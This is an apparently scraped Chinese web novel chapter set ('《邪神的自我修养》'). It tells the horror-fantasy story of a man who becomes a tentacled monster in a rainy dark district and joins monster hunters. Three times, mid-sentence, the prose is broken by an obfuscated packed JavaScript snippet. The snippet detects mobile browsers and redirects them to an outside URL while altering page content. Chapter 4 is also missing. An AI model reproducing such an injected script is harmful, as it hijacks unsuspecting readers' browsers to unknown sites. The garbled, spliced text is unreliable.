《邪神的自我修养》 1. 降临 “路先生,这是即将给您使用的艾尔菲琳。” 随着深色玻璃瓶在护士手中轻轻晃了一下,闭着眼睛躺在手术床上的年轻人睁开眼看向她攥着的药剂,点头表示已经确认验药后,又重新靠回舒适的床背上。 他面容英俊,鼻梁高挺,即使两颊被记号笔圈点了不少处需要注射的位置,也能看得出卓越的容貌。 主刀医生接过针管,简单地交代了两句,尖锐的针头戳进刚消过毒的表层皮肤,像是铅芯一样径直推入年轻人的面部肌肉当中。 通常来说,注射过程中引起的疼痛感在麻药的影响下会降低到人体可以接受的程度,但这次却不同寻常,从脸上传来的显著痛感让路远寒不由得紧皱眉头,竭力忍耐着不叫停医生的动作。 刺入脸颊的针头在他皮下旋转,一下一下打散覆盖着骨骼的薄薄一层组织。 强烈的疼痛让他冷汗直流,几乎思考不了任何事情,只能隐约感觉到有什么在循着药物游进他的皮肤。 起初他以为只是错觉,直到那种异物感强烈到无法忽视,像一条温热的蛇盘踞在他脸上缓慢摩挲,路远寒伸手就要攥住针管,却发现自己压根动弹不得,眼皮也沉重地黏着无法分开。 在失去意识前的最后一刻,他感觉到那东西正在瞳孔上不断蠕动着。 “砰砰,砰砰……” 重物撞击窗户的声音将路远寒从昏迷中惊醒,眼前的漆黑让他手一滑滚下了手术台,随即意识到手术室的灯没有开,而不是自己瞎了。 他试着叫了两声护士的名字,然而无人回应,就连那拍窗户的声音也消停了,寂静在这狭窄的空间内笼罩着他,路远寒扶着墙慢慢站起来,手指扒住墙皮一阵摸索,却也没能找到开关。 眼下的情况非常诡异,他想到手机还在隔壁麻醉室的柜子里,只能摸到门边自己走出去。 路远寒站在门边,想到了一个问题:这间手术室有窗户吗? 他确信是没有的,这家机构一层只有前台能透过玻璃墙采光,手术室密闭性很好,然而刚才的声音并不像是幻听。 那声音消失得无影无踪,但他却不敢回头去看背后是否有一扇窗户:绑架、整蛊、医疗事故……疑问一瞬间争先恐后地涌出,现在最重要的是赶紧报警,路远寒毫不犹豫地打开门,一股浓重的血腥味扑面而来,让他愣在了原地。 这黑诊所搞什么,真闹出事了? 很显然,气味的来源就在不远处。门外倒是要比手术室内亮堂一些,窗边路灯昏黄的光透进来,照亮了瘫坐着靠在楼梯扶手上的尸体。 那具尸体手中握着枪,脑袋上开了个窟窿,开枪后溅出的脑浆和血液混杂着喷洒一地。抛开这惨烈的死状,路远寒很快注意到他浅色的鬈发,以及身下铺开的巨大图案,由血迹铸造的圆弧一层一层交叠,像是某种极其神秘的阵法。 即使是拍摄用的道具,也不可能散发出如此刺鼻的气味,更何况这确实是一具尸体。 路远寒掐紧掌心,遏制住那股想吐的欲望,强迫自己冷静下来,认真思考该怎么将自己从案发现场摘得一干二净。 这里并不是之前那家机构,路远寒迅速环顾了一遍周围的环境,在他望向窗外的时候,毛骨悚然地从玻璃中看到了一张活着的脸。 这句话并不确切,因为每个人都是活的。 然而他此刻的脸就像融化的液体一样不停颤动着,时不时裂开几道狭小的缝隙,露出里面黢黑的触须。 要说这是一张属于人类的脸,实在太过勉强,路远寒所了解的任何知识体系都无法解释这种怪象。随着指尖触碰到那黏滑的东西沾上一手湿漉漉痕迹,他意识到这不是特效,更不是做梦,而是降临在他身上的现实。 路远寒说不出来,尸体和自己的脸哪个更恐怖一些。但他发现填充在脸皮下的物质似乎有着灵性,竟然会随着他的想法而微微起伏。 他试着调动这些触须聚拢、弥合,慢慢地拽着脸颊肉往颧骨上贴紧,在他的控制下,重新缝合成一张完整的脸。 光是做到这件事,就已经耗费了他全部的精力。 路远寒胃中升起一阵强烈的饥饿感,他记得口袋里装了块士力架,现在却不翼而飞,那种无法压下的进食需求将他所剩无几的理智都碾得破碎,甚至生出一种轻飘飘仿佛飞旋的错觉。 他不知道自己为什么跪在地上,也不知道有几根手指变成了黑色触须,那些细长的须子灵活地鞭打在地板上,飞快卷走了散落在尸体旁边的脑液以及迸裂的半块颅组织。 随着细细密密的触须吞食着包裹住的浆液,路远寒闭上眼睛,零星的片段在他脑海中闪过。 他以奇妙的速度消化着那些属于已死之人的记忆,事实上他获取到的信息有限,譬如这位死者名叫埃尔文,是黑区为数不多的医生中的一员,背地里还是某种宗教的狂信徒。 在秘语者酒吧买到一本记载着通灵巫术的书籍后,埃尔文就如同着魔般不顾一切,用鲜血、鱼鳞草和蓝环章鱼的胆汁布置了这个降神法阵,只是不知道他的祈求到底获得了怎样的回应,最后才会开枪自杀。 即使路远寒是一个唯物主义者,面对这种超自然力量也不得不屈服。 这显然不是他所生活着的那个世界,在这里,在常年下着倾盆暴雨的黑区,平均每七天迎来一次晴朗日,拔地而起的巨藤贯通着上层地表。 从地表倒灌而下的雨水与携带着病菌的污染物直接排放到黑区,在低洼处汇聚成地下海,使得近海处的动植物都有着不同程度的畸变,甚至产生了各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12962859|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种骇人听闻的怪物。 在这种时刻置于死亡威胁的环境下,黑区居民普遍信仰着不同力量的化身。 但真正接触到禁域的人少之又少,其中不乏自诩眷者的癫狂分子,以及狩猎怪物为生的猎魔人。他们会将怪物的皮肉骨骼内脏等制作成武器,并售卖一部分有用材料。 而埃尔文去的秘语者酒吧,就是危险物品流通的渠道之一。 叶公好龙,却被吓得魂飞魄散,这个埃尔文不知道是不是也被自己召唤出的生物吓得心生绝望,才选择了自尽。 路远寒摇了摇头,余光瞥到正揭起尸体天灵盖的黑色触须,脸色骤然变得难看了起来:容貌恐怖、吃人,现在的自己无疑符合怪物的每一条标准,难道就是被他召唤到这里来的? 但是异变为什么会发生在自己身上,又是什么时候变成这种诡异模样的,路远寒仔细回想,也只能追溯到躺在手术台上的时候。 埃尔文的通灵书倒是就在尸体旁边撂着,只是能不能通过这种方式穿越回去还不知道,以邪祟的身份回归又是另一码事。 只是片刻,那些涌动着的触手就已经将埃尔文颅腔内的积液和血肉磨成黏糊的胶状物,正不断摄食着,路远寒平静的脸庞在忽明忽暗的灯光下逐渐开始蠕动。 他知道这样下去不行,以前没有杀过人,他也不想靠猎杀人类为生,现在需要验证一个问题,那就是他的食物是否只有人类的血肉一种。 路远寒一步步走下楼梯,凭借着在埃尔文身上获取到的少量记忆,在橱柜里找到了几块面包与罐头。 他发现自己的消化系统似乎还在正常人类范畴,吃下这些食物也能果腹。但那种饥肠辘辘的感觉仍然挥之不去,如同恶意盘旋在他脖颈上一层层绞紧挤出吞噎的涎水,诱使着他回到楼上,蹲在埃尔文面前。 埃尔文·乔治。 一双优雅瘦削的手从尸体胸口上摘下这枚铭牌,认真擦拭着边角溅上的血迹,褐红色的污渍在指腹上转瞬即逝,汹涌而出的触须海藻一样缠上去撕开尸体的胸膛,将流淌出的内脏肠子连同血浆捧在触手簇中啃咬分食,等到这顿正餐结束,只剩下干瘪的皮套静静地躺在那里,连抽搐都没有。 路远寒从埃尔文的口袋里摸出地下室钥匙,比照着玻璃窗上映出的影子,一点一点耐心地将面部轮廓调整得更深邃、更像本地人。 黑区的通用语言像是英语的变种,亚裔面孔在这里近乎没有,他需要足够谨慎,才能在这个世界生存下去。 咚、咚…… 沉重的响声回荡在微弱的灯光下,就像头骨磕在台阶上撞出的声音。 通往地下室的门虚掩着一条缝隙,直到那脚步声忽然间停下,席卷着血痕的黑影潮水般从地下溢出,猛地关上了这扇门。 2. 遇袭 三长两短一长,外加一帝恩币,是进入秘语者酒吧的敲门砖。 这里只开放给缉察队、猎魔人,以及一部分卷入神秘事件且愿意付钱的当事人。当然,以缉察队的身份,很少会降尊纡贵到这种地方来,故而这里多是猎魔人交换情报、出售材料,以及发布或接受雇佣委托。 由于霍普斯镇临海,因此在这里展示挂卖的猎物通常都带着地海潮湿的气息,比如银蜡鱼血、红棘海葵,以及黑鳍鲨的心脏。 值得一提的是,由于地海是黑区最大的污染源,因此没有人会将带有毒性的变异海产作为食物,它们的用途仅限于献祭、武器、药剂等方面。霍普斯人的食用鱼都养在用提纯过的雨水积蓄的人工培养湖中,因此一鱼千金,能吃得起这种奢侈品的只有伯爵及其眷属们,缉察队也在此之列。 此刻,一个留着黑色短发的年轻人坐在吧台,喝着五便士一杯的麦芽酒,他用手指着被匕首钉在桌上的巨型猫眼螺,时不时就微笑起来,将坐在他旁边的女猎魔人逗得眉飞色舞。 “我说真的,茱莉亚,要不是到这里替表哥看管一段时间诊所,我真没法想象世界上有这么大的猫眼螺。” “哈哈!这就是霍普斯!奥斯温,地海欢迎你!” 茱莉亚脸上浮现出狡黠的神色,在猎魔人小队中,她最擅长的武器是机械连弩,只是此刻并没有带在身边,于是她拔起匕首在空中熟练地转了几圈,又重新拍在螺肉被刀尖戳出的孔洞上,转头对着酒保高喊:“再来两杯威士忌,我请!” 随着酒杯碰出泡沫,茱莉亚忍不住又打量了一眼面前这个文质彬彬的年轻人:“不过埃尔文那家伙处理伤口很鲁莽,要我说他的诊所早该倒闭了,没想到会有呃……你这么细腻的亲戚。” “是吗?其实他一直想让我干猎魔人这种活锻炼锻炼胆量,只是以前没有机会,现在才亲眼见到你们这些英雄。” 路远寒眨着眼将酒倒在袖口,那只猫眼螺还在茱莉亚刀下微微颤动着,迸溅的汁水将她的指甲都浸透成深褐色,从壳口伸出的数十条微小肢体无规律地左右摇曳。注意到他的目光,茱莉亚解释道: “这些漂浮在海边的猫眼螺基本上都被寄生了,如果不把螺肉和寄生虫一起扎穿,很有可能会顺着眼耳口鼻进入到人体内。” “不过你也不用觉得危险啦!”茱莉亚说着从口袋中摸出一把盐,从指缝漏出的盐屑颗颗倾泻进螺壳,那些细足瞬间失去活力干瘪地缩进壳内,“像这样对付它们就能保证安全,这可是猎魔人的常识。” “像这样一颗保存完好的寄生猫眼螺,市值大概在三十先令,一次卖两颗就能拿到两帝恩币,而且在秘语者做买卖是不抽税的,所以说当猎魔人风险高,回报也高。可惜现在的物价越来越疯狂,想上岸也根本找不到其他工作……” 茱莉亚眼中流露出些许遗憾,似乎也知道跟门外汉讲他们有多么辛酸是徒劳无功,于是也不再欣赏奥斯温这张在地海难得一见的脸,闷头灌了几口烈酒。 坐在对面的年轻人很懂礼貌,并不追问下去,只是静静打量着她忽闪的睫毛,就这样过了片刻,从他手中递来一只餐巾纸折的蝴蝶。 茱莉亚心中那点郁闷瞬间消散了,她将纸蝴蝶捧在掌心里看了一遍又一遍,随即别在了自己的耳后。 她想问自己现在看起来怎么样,那人的眼睛却盯着她身后一眨也不眨,于是茱莉亚也转过头,飞快地读着这张没有人揭榜的悬赏单:月之镜守护者的眷族,羊头人身,通常情况下的拟态与人类无异,赏金八十帝恩币,落款白银九号…… 看到茱莉亚读完这张纸上的内容,路远寒终于抛出了他的问题:“像这种伪装起来跟普通人没什么区别的怪物,岂不是可能随时出现在我们身边?” 他的话成功逗笑了茱莉亚,奥斯温·乔治在她眼中的形象变成了一个温柔细腻又有些多愁善感的男人。 她的掌心抚过大腿外侧冰冷的箭袋,将一筐沾满血迹的猫眼螺拍在了柜台上,匕首上的血槽也早就已经被填满。此情此景,这个猎魔人却露出了一个甜蜜无辜的笑: “没关系,这种伪装是逃不过猎人的眼睛的。更何况它们生而疯狂,哪怕装得再好,也终究无法掩盖自己的本性。如果它真敢出现在这,我不介意让秘语者再多一件收藏品。” 说完这句话,茱莉亚就倒头睡着了。柜台上堆积成山的空酒杯还没有结账,不过有这些珍奇猎物在,想来也够她包下一整夜的酒水。 路远寒没有什么要问的了,他将那杯麦芽酒的钱放在桌上,便穿过毛绒绒的人面鼠皮地毯,从秘语者的后门离开了。 阴雨连绵的黑夜是霍普斯最常佩戴的面纱,朦胧的浓雾笼罩着通往地海的路,在一片幽邃不见五指的漆黑中雾气越聚越深,仿佛某种庞然大物驶过投下的阴翳。传闻猎魔人也不能将从地海上来的怪物全部清剿,光源会吸引它们的注意,因此很少有人愿意开灯,只有街道两旁的路灯一闪一闪维持着秩序,在雨水中映照出昏黄细小的飘影。 路远寒撑着一把伞走在回诊所的路上,距离他上次进食已经将近二十四小时,尽管他将诊所一层储藏的食物都消耗殆尽,但仍然无法摆脱饥饿感的束缚。 他能感觉到细小的触须正在皮肤下不安地蠕动着,渴望着新鲜的血肉。 难道真的需要一天杀一个人才能活下去吗? 疑问盘旋在路远寒的心头。如果他愿意,刚才就可以将茱莉亚从秘语者酒吧诱骗出来,在没有携带武器的情况下,对付猎魔人的难度并不是太高。但他并不想这么做,一旦越过底线,那他与邪祟怪物就真正没有了界限,被吞噬自我也只是早晚的事。 像是察觉到了他的排斥,隐藏在路远寒体内的神秘物质越发躁动起来,青筋暴起的手上浮出一个个肿胀的血团,毫无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12962860|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 规律地顺着血管无声流窜在他的身体内,远远望去,就像随时会爆开一样,很难从路远寒的背影辨认出人形。 他能感觉到细如丝线的触须正挤进干瘪的胃袋,顺着食管上游到他的喉咙。伴随着剧烈的咳嗽,那把伞从路远寒的手里摔到了地上,他躬着背满面痛苦地呕出一大滩掺着血气的肿块,在模糊的视野当中,那些裹满黏液的肉块还在朝着四周爬去。 砰的一声枪响,打断了他纠缠不清的思绪。 出于求生的本能,路远寒下意识向旁边一滚。血花飞溅,錾银弹壳擦着他的小腿撞地,在地面上激起的火花转瞬被雨水浇灭。 背后开枪的人显然没打算放过他这个怪物,砰砰又连射了几发子弹,路远寒敏捷地躲进一处拐角后隐藏起来,刚才被弹壳撩过的地方血流如注,滴在地上被从伤口涌出的触须扫荡得一干二净。 难道是猎魔人?路远寒心道不好,此地离秘语者酒吧有一段距离,没想到还是被别人发现了身份,看来以后不能轻易露面了。但按照茱莉亚所说,没有任务在身的猎魔人应该不允许在镇内随便开枪才对。 一个糟糕的猜想浮现在他的心头,不是猎魔人,还能肆意开枪清除怪物的,那就只有直属伯爵府的缉察队了。 霍普斯镇属于安东尼奥伯爵的领地,黑区的多数区域都在这位贵族的统治之下,各领地的治安管辖由缉察队负责,不同辖区由不同小队管理,比起正规警察,缉察队更像是一支配备精良的私人军队。他们替伯爵搜罗各地的畸变物,猎魔人与之相比只能算是民间雇佣兵。 值得一提的是,两者间并没有不可调和的矛盾,由于人力稀缺,缉察队甚至会从猎魔人中甄选一部分表现突出的成员进入其编制。 就在路远寒思考之际,那位缉察队的督察已然来到了他藏身的拐角。 看着眼前幽深漆黑的小巷,督察装填好弹药,持枪往前走了两步。根据地面上尚未被雨水冲刷走的血迹,他判断出刚才看到的怪物应该就埋伏在前方。 在霍普斯值守期间,他在海岸边还没有见到过这样的生物,或许是新的畸变物,极有将它带回缉察队的价值。巷子的尽头就在不远处,所以这只怪物无处可逃。 在他谨慎走进去勘察环境的时候,黑暗中一条触手猛然向着他袭来,眼看枪管被触手缠绕,督察表现得并不慌张,他却没有想到,连开数枪也没能让这怪物死心。枪管脱手而出的瞬间他双臂紧绷,身上的肌肉在短短数秒内膨胀,而他的手掌也变成了尖锐的利爪,长达数寸的指甲泛着幽绿的光泽,一场战斗即将发生。 砰砰!砰! 接连数道枪声响起,督察踉跄着倒退了两步,低下头难以置信地看着胸前被打出的窟窿。对方的枪法或许不够精准,但足够冷静,至少有一发致命的子弹击中了他的心脏。 只是他想不明白,那怪物为什么会拥有如此高的智慧…… 3. 测试 这个问题再也得不到答案了。 迸溅出的血色在滂沱大雨中逐渐被稀释,督察倒地没过多久,那些蛰伏在黑暗中的触手就将他拖进了小巷,触须摩擦皮肤的声音窸窸窣窣持续了片刻才消失。 面色惨白的年轻人从阴影里走出,捧起雨水将脸上狰狞的血痕洗掉,从他背后蔓延出的道道触手勾缠着一具无法辨认面目的尸体,连同地面上的弹壳一并悄无声息抛进旁边的下水道中。 路远寒站在井盖边上,注视着汹涌而上的老鼠等下水道生物将那具残缺的血肉撕碎。在被逼到绝处时他就已经冷静了下来,饱餐一顿后,更是恢复了应有的理智。 那双遒劲有力的兽爪显然并不是正常人类应有的,而他从安格斯的记忆中也验证了这一点。 除了从地海深处爬上来的畸变物,对于那些供奉着各种所谓神祇的人类,离祂们越近,信仰程度越深,受到感染发生畸变的可能性也就越高,在秘语者悬赏单上看到的例子就是一个很好的佐证。而到了那种程度,已经不能称之为人类了,感染者成了彻底的怪物,终日在癫狂下无法控制自己的举动,即使具有一定的行为模式,在人群中也会露出破绽。 但那诅咒亦是一种强大的力量,只靠武器难以与笼罩在阴霾中的地海抗衡,有不少猎魔人会借助献祭仪式向神秘的存在借取力量。其中表现稳定卓越的被编入缉察队中,为尊贵无上的伯爵府效力,而那些迷失在黑暗中的人们,则将走向死亡。 与游走在生死边缘的猎魔人相比,他们不必为生计发愁,哪怕遇到危险也能通过自身的力量解决,刚才那个名叫安格斯的督察想与怪物近身搏斗,却被路远寒开枪击杀。 这让他不由得庆幸,还好那一瞬间的判断足够准确,真要打起来的话,恐怕死的只会是自己。 这是他杀的第一个人,路远寒此刻双手仍在微微颤抖。在那种紧急情况下,他只能选择反杀对方,但这也让他发现了一件事,即使是非正常的人类,也能为他提供强烈的饱腹感,这或许意味着他可以通过猎杀怪物为生。 只是安格斯之死无法隐瞒,虽然已经毁尸灭迹,但他的失踪必将引起缉察队的注意,到时候这片区域被封锁调查,路远寒这个外来人就将置身于危险当中。 按照缉察队一向奉行宁肯错杀不可放过的原则,他们并不介意将所有嫌疑人都杀了。 所以他必须尽快想办法加入猎魔人小队,一方面为了寻找食物,另一方面,他要远离案发现场。尽管缉察队拥有绝对权力,视人命如草芥,但对于可能成为同僚的猎魔人还算态度平和,即使他们有着相当高的作案可能性,也不能随意处置。 一阵酥麻的痛感将路远寒的思绪带了回来,他能感受到小腿上的伤口正在逐渐愈合,不断有血肉滋生填补上被弹壳刮蹭的位置。 只不过这种新陈代谢的速度也有着相应的代价,随着一阵头晕目眩,他双眼表面的毛细血管迅速涨大破裂,迸射出的血糊住了剩下的眼白,从路远寒捂住眼睛的手指缝间流下来一滴滴坠在地上,为他眼前的世界蒙上猩红的血幕。 片刻之后,渐渐适应眼前深红一片的路远寒放下双手,将伞重新捡了起来。他有着强烈的预感,如果不及时处理,这双属于他的眼睛也将很快腐烂,而后被新长出来的血肉顶替。 在诊所处理好伤势之后,路远寒换了身衣物,从埃尔文的收藏柜里找到一副鸟嘴面罩戴上,重新回到了秘语者酒吧。 酒吧内有几个独立的窗口,无论发布还是接受委托都要在窗口处办理手续。根据埃尔文的记忆,想要保持隐秘的话,也可以在纸上写下关于神秘学的问题递进窗口,只不过解答收费高昂,他就是通过窗口联系上了通灵书的卖家。 路远寒在纸上写下他的问题,拿出四帝恩币,交给了窗口。他耐心等待了一会,便看到从窗口内递出的纸条,上面写着一个名字:工匠,只是名字后跟着的那串数字让他眉头紧皱,他问的自然是怎么修复残缺肢体,以及相应的费用。埃尔文的积蓄基本都用在了神秘学上,刚才交给窗口的咨询费就是最后一笔存款,现在的路远寒口袋里只有几个便士,而要请工匠出面竟然需要两千帝恩币。 他嘴角撇了撇,又拿出刚从墙上揭下的另一张纸,赫然是猎魔人招聘成员的公告。在路远寒将填写好的基本信息交上去后,窗口陷入了良久的寂静。 路远寒不知道窗口是通过什么方式联系上猎魔人的,但他的听觉比以前敏锐了很多,捕捉到有两个人的脚步声正在朝自己靠近。 他转过头,看到一个体型健硕脸上有疤的男人正朝着身边人喋喋不休地抱怨:“让我带新人,怎么不去找那些缺外勤队员的人带?” 而旁边那个戴眼镜的则无视了他的话,向路远寒伸出手,似乎一点也不介意这个鸟嘴怪人的面罩:“不好意思,成为猎魔人是一件很危险的事,我们需要对你做个测试。很多报名者最后发现自己适应不了这份工作,这也是必要的流程,请不要介意。” 路远寒伸手和他握了握,随即拍开带疤男人摸向他脸上面具的手。 眼看着脾气急躁的同事就要张口,眼镜男立刻瞪了他一眼,制止了两人之间的冲突:“忘了自我介绍,我是格林,这是威尔斯,也算是你的前辈,等会由他负责带你进行测试。如果你对结果有异议,可以在结束后当场提出,我会对公平性进行评定。” “好,我是奥斯温。测试的内容是什么?” 格林伸手推了推眼镜,对他简洁明了的风格很满意:“很简单,只是检验一下你是否拥有直面怪物的能力。教堂东边有群畸变过的野狗,威尔斯会教你怎样处理它们。” 在正事面前,威尔斯立刻收起个人情绪变得严肃起来,他将路远寒从头到脚打量了一遍,像是在评估这个应聘者的身体素质:“没有接受过射击训练的人无权佩枪,等会给你发一把武器, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12962861|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你想用猎斧、锯肉刀还是长矛?” 路远寒思考片刻,给出了他的答案:“既然是处理野狗这种体型的生物,那就用锯肉刀吧。” 交代完必要的流程后,格林留在了秘语者酒吧,而路远寒则跟着威尔斯向着教堂出发。 由于他还没有通过测试,因此威尔斯让他在街道上等候了片刻,自己返回猎魔人协会取来了一把长斧和需要交给新人的锯肉刀。 路远寒将锯肉刀提在手中掂了掂,这把钢制的大刀质感很重,刀面上的锈迹似乎因血痕积得太深而无法清理干净,边缘处有一圈锋利的锯齿,不难想象挥舞起来将用多么迅猛的速度割下猎物的头颅。他现在提着刀,但刀柄稍有弯曲,长度接近一米,应该可以伸展开切换形态,在远近两种场合下都适用。 握上这把武器的瞬间,他甚至感觉到刚平息的触须又开始躁动不安。 “很趁手的武器。”路远寒点了点头,提出一个问题,“不过给新人发这种高杀伤性的武器,万一我和你在测试过程中闹出冲突怎么办?” 在前面带路的威尔斯头也没回,只是一抬手中的斧头:“你担心得倒是很多啊!死在这家伙下的怪物比刚才酒吧里的人加起来都多,你猜那么做会有什么下场。再说没有人会动不动就向别人挥刀,难道你是疯子吗?” 两人又穿行过几条堆积着废弃物的小径,就到了霍普斯大教堂附近。 雨水猛烈地浇灌在教堂的尖顶上,已经无人祈祷的建筑群在几道闪电的照耀下流露出微微泛银的光泽,隐约可以看到许多骷髅状的灵体如同薄雾缠绕在教堂顶部。而格林口中提到的野狗,就在教堂外围的一处路灯下聚集着。 由于畸变的缘故,从体型上说它们更接近狼,浑身的鬃毛被浓重的血污掩盖着,即使淋得浑身浸湿也仍然被秽物黏着在表皮上,满口尖牙上还挂着从尸体上撕咬的血肉,无疑是其罪证的体现。 威尔斯让路远寒先退后等着,他从身上拿出一只打火机,朝着处在最边缘上的野狗扔了过去。 被砸到的狗立刻凶相毕露,朝着他所在的方向急奔而来。 只见这个老练的猎魔人面色沉着,将武器横过来双手把持,挥出去的猛斧抡转半圈劈中了野狗的腹部,并不等正在抽搐的敌人缓过神来,又朝脑袋狂劈数下,让这条野狗彻底暴毙在了他的猎斧之下。 威尔斯甩下斧身上淌落的黑血,将死狗踢到了一旁:“像这样双手抡出武器,可以对敌人造成致命攻击,处理好的话甚至一次对付多个。当然,开枪是最稳妥的方法,我们使用的子弹对大多数怪物都有驱逐效果,不过你也看到了,在这种地方开枪会将附近的狗都引来,那就不是我们两个能解决的了。 你的任务就是像我刚才那样引一条狗过来解决,我会在旁边保证你的安全,打不过立刻退后,这种嗜血怪物远比你想象的还要凶残。 怎么样,有信心通过测试吗?” 5. 圣餐 谁也不知道吃下这家旅店的鱼肉到底会发生什么事,路远寒没有太大的反应,只是将手中的锯肉刀握得更紧了些:“你有梦游的习惯吗?” “说什么呢,莫名其妙的。” 威尔斯满头雾水。被那双隐藏在面具下的眼睛注视着,他很快也意识到事情不妙,在口腔中蔓延的肉香勾起阵阵食欲,再看到那盘被人动过的鱼肉,那么是谁关了灯,又是谁吃了肉,答案似乎不言而喻。 于是他跑进盥洗室,用力挤压舌根和胃下,强行将喉管内倒流的积食都吐了出来。 随着黏稠的肉糜流进排水管道被冲走,威尔斯脸色稍霁,将餐盘里剩下的鱼肉也拿来一并处理了。 路远寒在房间里观察着威尔斯的行动,由于刚才那段时间失去了意识,他并不能确保眼前人就是可信的,但威尔斯的反应没有什么问题,至少在表面上看起来是这样。 确认走廊上没有游荡的客人后,两人带着绑好的床单来到了走廊边上。床单的一端缠在路远寒腰间,再由他站在门内,为绳结提供锚点,威尔斯则顺着抛下去的绳结滑到二楼,在内部将门打开。 作为一个成年男人,威尔斯的重量自然不容小觑,他越往下坠,那股牵引着路远寒的拉力就越强。路远寒动作稍顿,从背后冒出的道道触手接二连三地勾住床单,让他定在了原地。 而将他往外拽的重量一轻,便意味着威尔斯落地了。 路远寒并没有立刻松手,而是在走廊边和威尔斯确认过情况之后才解开身上的床单,从楼梯下到了二楼的通道口。 刚来时还紧锁着的门此刻已经打开,露出里面和三楼如出一辙的环形走廊。因为没有提灯,威尔斯等得似乎有些焦灼,招手示意让路远寒跟上。 昏暗的灯光并不能将仿佛藏着憧憧鬼影的幽静驱散,由于刚死过人,死的还是达官贵族,这一整层楼都还处于封锁中。报道中那三人一个死亡,剩下两个不知所踪,雇主要他们寻找的则是亨特家的二少爷。而这任务之所以会落在猎魔人头上,就是因为那诡异的死法:受害者七窍流血,尸体拦腰而断,像是被一双巨手拧成了两截,无疑有某种力量从中作祟。 两人来到案件发生的二零八号客房,还没有走到门前,提灯便照出了门口的血迹。 在这家诡异的旅店,似乎没有人清理现场,虚掩着的房门中飘散出一股鱼腥味,比刚才送到房间的晚餐还要更浓烈刺鼻。即使面具上有滤嘴,路远寒仍然感到一阵不适。 随着威尔斯推开门,房间里的情况一览无余。两个人走进来时都谨慎回避着地板上的血痕,威尔斯蹲下身,在靠近墙角处捡起了几枚弹壳:“看来这里发生过枪击。” 路远寒举灯观察着墙上焦黑的弹痕,默认了他的说法。 虽然霍普斯镇明令禁止镇民随意开枪,但想获取到枪并不困难,就连埃尔文也能买到一把枪,更何况是几位贵族子嗣。不过他们用于自卫的手段似乎没能起到作用,最后仍然下场悲惨。而地板上塌陷的窟窿,则引起了路远寒的注意。 这是被什么东西击碎的呢……路远寒越看越感到熟悉,没等他捕捉到那一丝头绪,威尔斯又有了新发现。地上的血迹并非毫无规律,除了房间深处有一大滩疑似死者被撕裂时喷溅出的血痕,剩下的血迹则直着延伸到了门口,像是有人被拖行了过去。 威尔斯跟着血迹站在门口,正背对着身后的路远寒。 路远寒放下提灯,锯肉刀一滑出手,径直砍向了威尔斯的侧颈。他这一下砍得毫不留情,隐约能听到刀刃摩擦空气的声音,对方却像预见到了似的往旁边闪去,脖颈弯出了诡异的弧度,让路远寒劈了个空。 “怎么了,你发什么疯?” 威尔斯的声音充满了疑惑,人却向着门外疯狂跑去。几条黝黑触手从背后袭来,缠在脖颈上越收越紧,将他放倒后硬生生拖回了路远寒面前。现在一切都明了了,无论是打穿地板还是拖着尸体,都是某种巨大的触手所为。 至于这个伪装成威尔斯的怪物,在二楼门口碰面的时候,路远寒就发现他的猎斧消失了。他虽然穿着一件相似的披风,领口却没有猎魔人的徽章,细看之下,更是在颜色上有着细微的差别。 想必真正的威尔斯在下到二楼时就遇到了相当危急的情况,才给了这怪物伪装成他的机会。只是不知道对方现在身在何处,是否安全,会不会同样有一个戴鸟嘴面具的怪人潜藏在他身边…… 路远寒一刀扎穿了“威尔斯”的肩膀,用重刀将他钉在地板上。深蓝色的血液从伤口汩汩涌出,如同一湾咸腥的潮水浸透了木板。路远寒让触须将他面上逐渐融化的脸皮撕了下来,隐藏在伪装下的是前台那张充满恶意的怪脸,此刻还在朝路远寒僵硬地微笑:“嘻嘻……” 路远寒没让他再笑下去,手起刀落,那颗脑袋就骨碌碌滚到了一旁。 诡异的笑声戛然而止。路远寒用触手将怪物的脑袋拎回来,仔细观察了一番,才发现他脸上斑驳的并非疤痕,而是细小密集的鱼鳞,两颗涨起的眼球也形容恐怖地悬在外面,连闭上眼睛都无法做到。 联想到免费供应的鱼肉,以及外面狂暴肆虐的地海,路远寒猜测这家旅店里的畸变物都有着某种海洋崇拜。 接连动用触手消耗了许多力量,此时压抑的食欲再度翻涌上来。路远寒本想用这怪物下腹,然而灵性提醒着他不能染指那古怪的血液,案件中那些诡异离奇、解不开的疑窦萦绕在他的心头,帮他再次克制住了进食的本能。 于是他放下尸体,提着灯回到了二楼的走廊。 路远寒按着顺时针方向一扇门一扇门排查过每间客房,其中大多数的房门都锁着,偶尔有打开的,里面也没什么特别之处。 